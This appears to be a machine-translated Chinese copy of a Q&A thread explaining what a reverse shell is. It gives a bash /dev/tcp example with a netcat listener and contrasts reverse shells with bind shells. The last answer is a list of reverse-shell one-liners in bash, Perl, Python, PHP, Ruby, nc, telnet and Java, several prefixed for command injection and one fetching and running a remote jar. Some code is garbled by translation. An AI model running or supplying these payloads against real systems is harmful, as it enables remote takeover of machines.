什么是反向壳?

时间:2016-02-08 14:19:18

标签: shell

有人可以深入解释什么是反向shell以及在什么情况下我们应该使用它? 我发现这个http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet有相同的含义,是什么意思:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

5 个答案:

答案 0 :(得分:24)

它是目标引入的(n不安全)远程shell。这与#34;正常"相反。远程shell,由源引入。

让我们使用localhost代替10.0.0.1

进行尝试
  • 在终端中打开两个标签。

    1. 打开TCP端口8080并等待连接:

      nc localhost -lp 8080
      
    2. 打开交互式shell,并将IO流重定向到TCP套接字:

      bash -i >& /dev/tcp/localhost/8080 0>&1
      

      ,其中

      • bash -i"如果存在-i选项,则shell是交互式的。"
      • >&"此特殊语法将stdout和stderr重定向到指定的目标。"
      • >&的参数)/dev/tcp/localhost/8080是与localhost:8080的TCP客户端连接。
      • 0>&1将文件描述符0(stdin)重定向到fd 1(stdout),因此打开的TCP套接字用于读取输入。

      比照。 http://wiki.bash-hackers.org/syntax/redirection

  • 在标签1中有提示时欢喜快乐。
  • 现在想象一下不使用localhost,而是使用一些远程IP。

答案 1 :(得分:17)

除了@Kay的优秀答案之外,你的问题的答案为什么 被称为反向shell 是因为它被称为反向shell而不是< em> bind shell

Bind shell - 攻击者的机器充当客户端,受害者的机器充当服务器,在受害者上打开通信端口并等待客户端连接到它,然后发出将要发送的命令远程(相对于攻击者)在受害者的机器上执行。只有受害者的机器具有公共IP且可以通过互联网访问(为了简洁而无视所有防火墙等),这才有可能实现。

现在如果受害者的机器被NAT并因此无法直接到达怎么办?一种可能的解决方案 - 那么如果受害者的机器无法到达怎么办呢。我的(攻击者)机器是可以访问的。所以,让我在我的最后打开一个服务器,让受害者联系我。这就是反向外壳。

反向Shell - 攻击者的计算机(具有公共IP且可通过Internet访问)充当服务器。它在端口上打开通信通道并等待传入​​连接。受害者的计算机充当客户端并启动与攻击者的侦听服务器的连接。 这正是以下所做的:

  

bash -i&gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp; 1

答案 2 :(得分:0)

反向Shell正在从受害者或目标到您的计算机的连接。您可以想到,您的计算机(攻击者)就像服务器一样,侦听由他指定的端口,现在您可以确保受害者通过发送syn数据包来与您连接(取决于反向shell的实现方式,无论它是使用tcp还是udp原理实现的) 。现在,连接似乎就好像受害者本人打算与我们建立连接。 现在,为了欺骗受害者,您需要执行社会工程攻击或进行DNS欺骗,并确保受害者运行该程序。 成功的反向外壳将绕过所有防火墙-基于主机的防火墙和基于网络的防火墙。 反向外壳的类型不同-基于tcp或基于http或基于反向tcp或基于udp的反向外壳。

bash -i>&/dev/tcp/10.0.0.1/8080 0>&1 要在Linux中打开套接字,请使用dev / tcp。您基本上是在Linux中打开tcp套接字。

常规格式为/ dev / tcp / ip地址/ port。 现在使用net cat作为端口监听8080端口 nc-l-p 8080--vv

一个简单的基于bash的反向shell将在受害者上执行以下命令 nc-e / bin / bash 10.0.0.18080。这意味着您要让vict假设10.0.0.1是受害者ip,以连接到端口8080上的ip地址。

答案 3 :(得分:0)

一般来说,反向 shell 是一种作为操作系统 shell 的有效载荷,这意味着它要么直接使用 OS API,要么通过在后台生成 shell 间接使用,对操作系统执行读/写操作。目标计算机的内存和硬件。如果您可以将有效负载发送到目标计算机并让它们执行它,它就可以连接到攻击者的 IP 并生成一个线程,该线程在端口上等待攻击者通过某种协议(如 http)发送命令;然后它可以解析命令并使用 OS API 来执行操作并将状态发送回攻击者,或者它可以在后台生成一个 shell,将命令作为命令行参数,并将输出重定向到一个文件,它然后可以读取并发送回攻击者。

您看到的常见示例是负载使用 OS API 生成 shell 进程并提供命令行,该命令行打开子 shell 并将 shell 本身的 stdin/stdout 重定向到网络套接字。

答案 4 :(得分:-2)

  • 打击壳

    ; bash -i>&/dev/tcp/1.1.1.1/10086 0>&1;

  • perl shell

    ; perl -e'使用套接字; $ i =“ 1.1.1.1”; $ p = 10086;套接字(S,PF_INET,SOCK_STREAM,getprotobyname(“ tcp”))); if(connect(S,sockaddr_in($ p,inet_aton($ i)))){open(STDIN,“>&S”); open(STDOUT,“>&S”); open(STDERR,“>&S”); exec(“ / bin / sh -i “);};';

  • python shell

    ; python -c'import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“ 1.1.1.1”,10086)); os.dup2(s .fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p = subprocess.call([“ / bin / sh”,“-i”]);';

  • php shell

    ; php -r'$ sock = fsockopen(“ 1.1.1.1”,10086); exec(“ / bin / sh -i <&3>&3 2>&3”);';

  • 红宝石外壳

    ; ruby​​ -rsocket -e'如果fork退出; c = TCPSocket.new(“ 1.1.1.1”,“ 10086”); while(cmd = c.gets); IO.popen(cmd,“ r”) {| io | c.print io.read} end';

  • nc shell

    ; nc -c / bin / sh 1.1.1.1 10086;

  • telnet shell

    ; telnet 1.1.1.1 10086 | / bin / bash | telnet 1.1.1.1 10087; #记住还要在端口4445 / tcp上监听您的计算机

    127.0.0.1; mknod测试p; telnet 1.1.1.1 10086 0test;

  • java jar shell

    ; wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar; ; java -jar /tmp/revs1.jar;

    import java.io.IOException;

    公共类ReverseShell {

    public static void main(String [] args)引发IOException,InterruptedException { // TODO自动生成的方法存根 运行时r = Runtime.getRuntime(); 字符串cmd [] = {“ / bin / bash”,“-c”,“ exec 5 <> / dev / tcp / 1.1.1.1 / 10086; cat <&5 |读行;执行$ line 2>&5>&5 ;完成“}; 进程p = r.exec(cmd); p.waitFor(); }

    }